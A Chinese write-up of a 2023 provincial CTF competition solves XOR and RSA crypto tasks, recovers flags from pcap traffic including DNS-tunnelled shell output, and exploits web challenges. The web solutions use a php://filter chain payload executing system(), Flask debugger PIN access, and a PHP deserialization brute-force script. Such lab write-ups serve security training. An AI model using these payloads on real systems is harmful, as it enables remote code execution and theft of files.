20231202年江西省“振兴杯”网络信息行业(信息安全测试员)职业技能竞赛

C1-xor

chall.py

from flag import flagdef encrypt(x, y):key='zxb'result=''for i in range(len(x)):result+=chr(ord(x[i])^ord(y[i])^ord(key[i%3]))return result
x = flag
y = flag[1:] + flag[0]enc = open('flag.enc', 'wb')
enc.write(encrypt(x, y))
enc.close()

简单的异或,可得到x^y的结果; 再爆破flag中的第一个字符,匹配flag即可:

from Crypto.Util.number import long_to_bytes
enc = open('flag.enc', 'rb').read()xy = b''
key = b'zxb'
for i in range(len(enc)):xy += long_to_bytes(enc[i] ^ key[i%3])for i in range(31, 127):f1 = long_to_bytes(xy[0] ^ i)flag = f1for j in range(1, len(xy)):flag += long_to_bytes(xy[j] ^ flag[j-1])if b'flag' in flag:print(flag)
# b'ongratulations,you find it:flag{XOR_IS_FUNNY!}C'

exp2:

with open('flag.enc', 'rb') as f:enc = f.read()print(len(enc))res = list()
key = b'zxb'
for i in range(len(enc)):res.append(enc[i] ^ key[i % len(key)])
for f0 in range(256):now = list()pre = f0for i in range(len(res)):now.append(res[i] ^ pre)pre = now[-1]flag = bytes(now[-1:] + now[:-1])if b'flag' in flag:print(flag)
# Congratulations,you find it:flag{XOR_IS_FUNNY!}

C2-p^q-PxorQ-高位泄露

chall.py

from Crypto.Util.number import getPrime, bytes_to_long
from gmpy2 import invert, powmodp = getPrime(1024)
q = getPrime(1024)
n = p * q
phi = (p - 1) * (q - 1)
e = 0x10001
d = invert(e, phi)with open("flag.txt", "rb") as f:m = bytes_to_long(f.read())c = powmod(m, e, n)
assert m == powmod(c, d, n)with open("output.txt", "w") as f:f.write("n = {}\n".format(n))f.write("c = {}\n".format(c))f.write("leak = {}\n".format((p ^ q) & ((1 << 800) - 1)))

题目泄露了 leak = (p ^ q) & ((1 << 800) - 1))

即p^q低位泄露(PxorQ低位泄露)。

$p \oplus q $

#SAGE
from Crypto.Util.number import *
from tqdm import trange
import gmpy2n = 15571235426797939539238831633247703697409215642831362718146066385417021399103592649626632712024314917817471913939626433520575953306292197338982465585231726225691523482332855007581046878858859892738287906751603097287292123432184264315236703956440181898240812707048906540935557847459938834006517112306094162817074984718655862387364938057878492284440744016546443775531916167164017470033683394275914057901191912284384121493630109154926516069366062089783088439732169772370370955294590903435838430320194003869373124126574176180627081544221636132143905441920473191061061461409407547427997166908876273698276541130678984899303
c = 11410349198192402083731025358124670205298762156812742512455806430945720053501248573549000565669379087195952270760749370073167203051546900914096995321278405720220367427519939638116382433595807325494197693420378893656116540927023043865164328614746414479628014540017033577967693193978113818125984134421120761946747105183198057647052506266535688704007423583060833596105939484423152668717114112856314424069195220194470093254307436153736407926031038716511515018884928576377289853802156015456424197355710062631887029663480146136538261678824501076415658065918045730425523209518075212493675750467401967567713964871622654517929
x = 2391766340580872396075853116060954790369153414025348183898792053278577108869816452176679906799250067017630058347039968502218692998106913594566891267374934074656997523077504385902187178779959674864970574631185410074159953449193378952686076390
e=65537def findp(p,plist):l=len(p)if l==800:plist.append(int(p,2))else:pp=int(p,2)qq=(x^^pp)%2**lif pp*qq%2**l==n%2**l:findp('1'+p,plist)findp('0'+p,plist)plist=[]
findp('1',plist)for i in trange(len(plist)):PR.<x> = PolynomialRing(Zmod(n))f = x*2^800 + plist[i]f = f.monic()r = f.small_roots(X=2^224, beta=0.4)if r:p = int(plist[i]+r[0]* 2^800)if n%p == 0:breakq = n // p
d = gmpy2.invert(e, (p-1)*(q-1))
print(long_to_bytes(power_mod(c, d, n)))#flag{a20a5a7eb490770447d59f291e71930e}

M1-流量-HTTP导出

字符串搜索

搜索flag常见的一些字符串,找到flag:
在这里插入图片描述
在这里插入图片描述

$ $ strings data.pcapng | grep Zmxh
//   ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==
//   ZmxhZ3s3NGNtc18xc18wMWRfcDBwY21zfQ==

再base64转换一下:
在这里插入图片描述

flag{74cms_1s_01d_p0pcms}

M2-流量-DNS

发现是流量包,用wireshark打开:

在这里插入图片描述

主要是TCP包。但通过跟踪TCP流,发现都是加密后的流量,无法分析。
在这里插入图片描述

于是分析非TCP流量:

过滤器:
not tcp

在这里插入图片描述

发现有很多DNS流量。其中,部分域名比较奇怪:

based2hvYW1pCnJ.pwn.org.cn

猜测要提取出域名信息:

based2hvYW1pCnJ.pwn.org.cn
basevb3QKbHMgLwpi.pwn.org.cn
baseaW4gIGJvb3QgIGR.pwn.org.cn
baseldiAgZXRjI.pwn.org.cn
baseCBmbGFnICBo.pwn.org.cn
baseb21lICBsa.pwn.org.cn
baseWIgc3J2IC.pwn.org.cn
baseBzeXMgIHRtc.pwn.org.cn
baseCAgdXNyICB2.pwn.org.cn
baseYXIKY2F0IC9mb.pwn.org.cn
baseGFnCmZsYW.pwn.org.cn
based7eU91X0N.pwn.org.cn
basehTl9GMU5.pwn.org.cn
basekXzFUX2l.pwn.org.cn
baseuX2RuNX0KCgoK.pwn.org.cn

删除前面的 base 和后面的 .pwn.org.cn 内容,拼接,并base64解码,得到flag:

d2hvYW1pCnJvb3QKbHMgLwpiaW4gIGJvb3QgIGRldiAgZXRjICBmbGFnICBob21lICBsaWIgc3J2ICBzeXMgIHRtcCAgdXNyICB2YXIKY2F0IC9mbGFnCmZsYWd7eU91X0NhTl9GMU5kXzFUX2luX2RuNX0KCgoK--》 whoami
root
ls /
bin  boot  dev  etc  flag  home  lib srv  sys  tmp  usr  var
cat /flag
flag{yOu_CaN_F1Nd_1T_in_dn5}

flag如下:

flag{yOu_CaN_F1Nd_1T_in_dn5}

W1-git

W2-php_filter_chain

信息收集发现src目录
在这里插入图片描述
访问到src,发现是模板站点,存在about.php任意文件读取漏洞。
在这里插入图片描述
filter chain, 命令执行得到flag

python3 php_filter_chain_generator.py --chain '<?php system("cat ../f1a*"); ?>  '-->
php://filter/convert.iconv.UTF8.CSISO2022KR|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.UCS2.UTF-8|convert.iconv.CSISOLATIN6.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.851.UTF-16|convert.iconv.L1.T.618BIT|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSA_T500.UTF-32|convert.iconv.CP857.ISO-2022-JP-3|convert.iconv.ISO2022JP2.CP775|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM891.CSUNICODE|convert.iconv.ISO8859-14.ISO6937|convert.iconv.BIG-FIVE.UCS-4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.BIG5.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSGB2312.UTF-32|convert.iconv.IBM-1161.IBM932|convert.iconv.GB13000.UTF16BE|convert.iconv.864.UTF-32LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L5.UTF-32|convert.iconv.ISO88594.GB13000|convert.iconv.CP950.SHIFT_JISX0213|convert.iconv.UHC.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.BIG5HKSCS.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.UTF16LE|convert.iconv.UTF8.CSISO2022KR|convert.iconv.UTF16.EUCTW|convert.iconv.ISO-8859-14.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP866.CSUNICODE|convert.iconv.CSISOLATIN5.ISO_6937-2|convert.iconv.CP950.UTF-16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.DEC.UTF-16|convert.iconv.ISO8859-9.ISO_6937-2|convert.iconv.UTF16.GB13000|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.IBM869.UTF16|convert.iconv.L3.CSISO90|convert.iconv.R9.ISO6937|convert.iconv.OSF00010100.UHC|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.CSA_T500-1983.UCS-2BE|convert.iconv.MIK.UCS2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.PT.UTF32|convert.iconv.KOI8-U.IBM-932|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP367.UTF-16|convert.iconv.CSIBM901.SHIFT_JISX0213|convert.iconv.UHC.CP1361|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.iconv.CP950.UTF16|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UNICODE|convert.iconv.ISIRI3342.UCS4|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.UTF8.CSISO2022KR|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.863.UTF-16|convert.iconv.ISO6937.UTF16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.864.UTF32|convert.iconv.IBM912.NAPLPS|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP861.UTF-16|convert.iconv.L4.GB13000|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.GBK.BIG5|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.865.UTF16|convert.iconv.CP901.ISO6937|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP-AR.UTF16|convert.iconv.8859_4.BIG5HKSCS|convert.iconv.MSCP1361.UTF-32LE|convert.iconv.IBM932.UCS-2BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L6.UNICODE|convert.iconv.CP1282.ISO-IR-90|convert.iconv.ISO6937.8859_4|convert.iconv.IBM868.UTF-16LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.L4.UTF32|convert.iconv.CP1250.UCS-2|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM921.NAPLPS|convert.iconv.855.CP936|convert.iconv.IBM-932.UTF-8|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.8859_3.UTF16|convert.iconv.863.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF16|convert.iconv.ISO6937.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CP1046.UTF32|convert.iconv.L6.UCS-2|convert.iconv.UTF-16LE.T.61-8BIT|convert.iconv.865.UCS-4LE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.MAC.UTF16|convert.iconv.L8.UTF16BE|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.CSIBM1161.UNICODE|convert.iconv.ISO-IR-156.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.INIS.UTF16|convert.iconv.CSIBM1133.IBM943|convert.iconv.IBM932.SHIFT_JISX0213|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.iconv.SE2.UTF-16|convert.iconv.CSIBM1161.IBM-932|convert.iconv.MS932.MS936|convert.iconv.BIG5.JOHAB|convert.base64-decode|convert.base64-encode|convert.iconv.UTF8.UTF7|convert.base64-decode/resource=php://temp

flag文件:/f1a4a4a4a44444ag.php。
在这里插入图片描述

flask PIN调试面板命令执行

app = Flask(__name__)
app.config['SECRET_KEY'] = os.urandom(32)
app.config['FILES_FOLDER'] = '/tmp/'logging.basicConfig(filename='/tmp/app.log', level=logging.DEBUG, format=f'%(asctime)s %(levelname)s %(name)s %(threadName)s : %(message)s')@app.route('/upload_file', methods=['GET', 'POST'])
def upload_file():if request.method == 'POST':if 'file' not in request.files:flash('No file part')return redirect(request.url)file = request.files['file']if file.filename == '':flash('No selected file')return redirect(request.url)if file and check_file_allow(file.filename):filename = secure_filename(file.filename)file.save(os.path.join(app.config['FILES_FOLDER'], filename))return redirect('/')@app.route('/get_file/<path:name>')
def get_file(name):return send_from_directory(app.config['FILES_FOLDER'], name, as_attachment=True)

很明显app.log里面有东西

直接访问看到了pin

2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * To enable the debugger you need to enter the security pin:
2023-12-02 02:55:20,692 INFO werkzeug Thread-598: * Debugger pin code: 144-950-937

然后访问/console

在这里插入图片描述

# PHP反序列化-create_function-hash_hmac绕过

得到源码:

<?php
class Bird{public $funcs;public $salt;public $flag;function say_flag(){$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);if($_GET['mac'] === $hmac){show_source("/flag");}}function __destruct(){$self_func=$this->funcs;$self_func();}
}if(isset($_GET['p'])){$funcs = create_function("","unserialize(\$_GET['d']);");$_GET['p']();
}else{show_source(__FILE__);
}

1 - hash_hmac绕过

$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));
$hmac = hash_hmac('sha256', $_GET['password'], $secret);
if($_GET['mac'] === $hmac){show_source("/flag");
}

[羊城杯 2020]Blackcat中的原题。

我们看看hash_hmac函数利用方式,算法都是【sha256】,可控输入点是【data】和【key】。当$binary设置为true时,输出为原始二进制数据;设置为false时,输出为十六进制值。

在这里插入图片描述

tips: 当我们给hash_hmac第二个参数传递的值为数组的时候,会返回false。

当我们给hash_hmac第二个参数传递的值为数组的时候,会返回false。

本地测试一下:

$ type test.php
<?php echo hash_hmac('sha256', 1, false);?>$ php test.php
41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523

在这里插入图片描述

因此,payload如下:

class Bird{public $funcs = ['Bird','say_flag'];public $salt;public $flag;
}HTTP GET: salt[]=a&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523

2 - PHP反序列化

3 - 爆破 lambda 匿名函数

参照BUUCTF:[SUCTF 2018]annonymous

create_function()函数在创建之后会生成一个函数名为:%00lambda_%d.
%d是持续递增的,这里的%d会一直递增到最大长度直到结束,通过大量的请求来迫使Pre-fork模式启动.
Apache启动新的线程,这样这里的%d会刷新为1,就可以预测了.
写个脚本一直去刷新访问即可.

exp:

<?php
class Bird{public $funcs=['Bird','say_flag'];public $salt;public $flag;function say_flag(){$secret = hash_hmac('sha256', $_GET['salt'], file_get_contents('/flag'));$hmac = hash_hmac('sha256', $_GET['password'], $secret);//echo hash_hmac('sha256', $_GET['password'], $secret);if($_GET['mac'] === $hmac){echo "sha256 yes";}}function __destruct(){$self_func=$this->funcs;$self_func();}
}
$a=new Bird();
echo urlencode(serialize($a));
?>

python爆破:

import requestsurl='http://111.74.9.131:10851/?salt[]=1&password=1&mac=41e0a9448f91edba4b05c6c2fc0edb1d6418aa292b5b2942637bec43a29b9523&d=O:4:"Bird":3:{s:5:"funcs";a:2:{i:0;s:4:"Bird";i:1;s:8:"say_flag";}s:4:"salt";N;s:4:"flag";N;}&p=%00lambda_'for i in range(10000):r=requests.get(url+str(i)).textif 'Call to undefined function' not in r:print(i,r)break

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/204709.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Java API接口强势对接:构建高效稳定的系统集成方案

文章目录 1. Java API接口简介2. Java API接口的优势2.1 高度可移植性2.2 强大的网络通信能力2.3 多样化的数据处理能力 3. 实战&#xff1a;Java API接口强势对接示例3.1 场景描述3.2 用户管理系统3.3 订单处理系统3.4 系统集成 4. 拓展&#xff1a;Java API接口在微服务架构中…

LeetCode:1466. 重新规划路线(DFS C++、Java)

目录 1466. 重新规划路线 题目描述&#xff1a; 实现代码与解析&#xff1a; DFS 原理思路&#xff1a; 1466. 重新规划路线 题目描述&#xff1a; n 座城市&#xff0c;从 0 到 n-1 编号&#xff0c;其间共有 n-1 条路线。因此&#xff0c;要想在两座不同城市之间旅行只有…

智能优化算法应用:基于变色龙算法无线传感器网络(WSN)覆盖优化 - 附代码

智能优化算法应用&#xff1a;基于变色龙算法无线传感器网络(WSN)覆盖优化 - 附代码 文章目录 智能优化算法应用&#xff1a;基于变色龙算法无线传感器网络(WSN)覆盖优化 - 附代码1.无线传感网络节点模型2.覆盖数学模型及分析3.变色龙算法4.实验参数设定5.算法结果6.参考文献7.…

Revisiting Proposal-based Object Detection阅读笔记

Revisiting Proposal-based Object Detection阅读笔记 论文地址&#xff1a;link Abstract For any object detector, the obtained box proposals or queries need to be classified and regressed towards ground truth boxes. 对于任何物体检测器来说&#xff0c;获得的…

Spring 声明式事务

Spring 声明式事务 1.Spring 事务管理概述1.1 事务管理的重要性1.2 Spring事务管理的两种方式1.2.1 编程式事务管理1.2.2 声明式事务管理 1.3 为什么选择声明式事务管理 2. 声明式事务管理2.1 基本用法2.2 常用属性2.2.1 propagation&#xff08;传播行为&#xff09;2.2.2 iso…

什么情况下会产生StackOverflowError(栈溢出)和OutOfMemoryError(堆溢出)怎么排查

目录 一、概念 栈溢出&#xff08;StackOverflowError&#xff09; 堆溢出&#xff08;OutOfMemoryError&#xff09; 二、排查方法 栈溢出&#xff08;StackOverflowError&#xff09; 堆溢出&#xff08;OutOfMemoryError&#xff09; 相关的Java代码示例 栈溢出 堆溢…

K8S pod无损上下线

在最近的K8s服务上线过程中&#xff0c;我发现了一些问题&#xff0c;更具体的说&#xff0c;我在使用阿里云k8s的过程中注意到&#xff1a;会出现slb短时RT增加&#xff0c;Pod部署初期就达到了扩容上限&#xff0c;并且开始大量的扩容&#xff0c;这无疑占用了大量的k8s资源。…

接口自动化测试之Yaml数据驱动封装!

一、数据驱动&#xff1a;pytest.mark.parametrize(&#xff09; 首先看个样本&#xff1a; import pytestclass TestData:# parametrize有两个值&#xff0c;一个是args_name:参数名&#xff0c;一个是args_value:参数值,可以有多个&#xff0c;进行数据解包# args_value可以…

【广州华锐互动VRAR】VR戒毒科普宣传系统有效提高戒毒成功率

随着科技的不断发展&#xff0c;虚拟现实&#xff08;VR&#xff09;技术已经逐渐渗透到各个领域&#xff0c;为人们的生活带来了前所未有的便利。在教育科普领域&#xff0c;VR技术的应用也日益广泛&#xff0c;本文将详细介绍广州华锐互动开发的VR戒毒科普宣传系统&#xff0…

serialVersionUID确保序列化版本

实现Serializable接口的目的是为类可持久化&#xff0c;比如在网络传输或本地存储&#xff0c;为系统的分布和异构部署提供先决条件。若没有序列化&#xff0c;现在我们所熟悉的远程调用&#xff0c;对象数据库都不可能存在&#xff0c; serialVersionUID适用于java序列化机制。…

万户协同办公平台ezoffice wpsservlet接口任意文件上传漏洞

声明 本文仅用于技术交流&#xff0c;请勿用于非法用途 由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失&#xff0c;均由使用者本人负责&#xff0c;文章作者不为此承担任何责任。 一、漏洞描述 万户ezOFFICE协同管理平台是一个综合信息基础应用平台&am…

生成模型之Flow-Based model

Flow-Based Model 文章目录 Flow-Based Model简介总览数学基础jacobian matrixdeterminant行列式Change of variable theorem 架构常见几种方法coupling layer采用1*1卷积进行channel shuffle 简介 ​ Flow-Based对概率密度函数的直接建模&#xff0c;这使得它们在数据生成和推…

Ubuntu22.04 使用Docker部署Neo4j出错 Exited(70)

项目场景&#xff1a; 最近需要使用Neo4j图数据库&#xff0c;因此打算使用docker部署 环境使用WSL Ubuntu22.04 问题描述 拉下最新Neo4j镜像&#xff0c;执行命令部署 启动容器脚本 docker run -d -p 7474:7474 -p 7687:7687 \ --name neo4j \ --env "NEO4J_AUTHneo…

封装了一个顺滑嵌套滚动的框架

首先查看效果图 就是开始滚动的时候&#xff0c;上面的头部和下面的内容是 一起滚动的&#xff0c;但是当滚动到segment 的时候&#xff0c;segment 是悬停 的&#xff0c;下面的tableView是分区的 架构设计 我们设计一个架构&#xff0c;以下面的tablView为主体&#xff0…

SiC MOSFET体二极管双极性退化及电流密度影响的研究

标题&#xff1a;Investigation of the bipolar degradation of SiC MOSFET body diodes and the influence of current density (IEEE International Reliability Physics Symposium (IRPS)) 摘要 摘要-双极退化在使用双极操作模式的4H-SiC器件中仍然是一个需要考虑的关键问题…

Excel 表列序号

题目链接 Excel 表列序号 题目描述 注意点 columnTitle 仅由大写英文组成1 < columnTitle.length < 7 解答思路 对于"CAB"&#xff0c;计算其序列号的思路&#xff1a;字母B的贡献值为2&#xff0c;字母A的贡献值为1 * 26&#xff0c;字母C的贡献值为3 * …

排查200M宽带下行速度低于100M问题(七十七)

简介&#xff1a; CSDN博客专家&#xff0c;专注Android/Linux系统&#xff0c;分享多mic语音方案、音视频、编解码等技术&#xff0c;与大家一起成长&#xff01; 优质专栏&#xff1a;Audio工程师进阶系列【原创干货持续更新中……】&#x1f680; 优质专栏&#xff1a;多媒…

流量分析1--菜刀666

1&#xff1a;菜刀666&#xff1a; 题目描述 分析流量包&#xff0c;过滤http数据流 追踪TCP数据流 对比第5个流和第7个流发现&#xff0c;同样的目录下 多出了6666.jpg。猜测是由攻击者上传&#xff0c;直接在请求包里搜索FFD8--FFD9 保存为1.jpg 利用foremost工具对1.jpg进…

“无忧文件安全!上海迅软DSE文件加密软件助您轻松管控分公司数据!

许多大型企业集团由于旗下有着分布在不同城市的分支机构&#xff0c;因此在规划数据安全解决方案时&#xff0c;不适合采用市面上常见的集中式部署方式来管控各分部服务器&#xff0c;而迅软DSE文件加密软件支持采用分布式部署的方式来解决这一问题。 企业用户只需在总部内部署…

【移动端vant 地址选择滑动不了】

分析&#xff1a; H5页面直接在浏览器打开是没有任何问题的&#xff0c;但是内嵌到小程序中就会出现&#xff0c;目前已出现在抖音&#xff0c;快手&#xff0c;小程序中&#xff0c;其他的没有试 大致看了一下&#xff0c;滑动不了的原因&#xff0c;可能是页面禁止滑动或滚动…